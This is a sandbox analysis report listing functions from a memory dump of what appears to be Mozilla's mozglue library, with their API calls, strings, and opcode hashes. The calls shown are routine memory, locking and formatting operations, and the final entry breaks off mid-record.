Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

NaN, xrefs: 6C969EC1
Infinity, xrefs: 6C969EB7

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
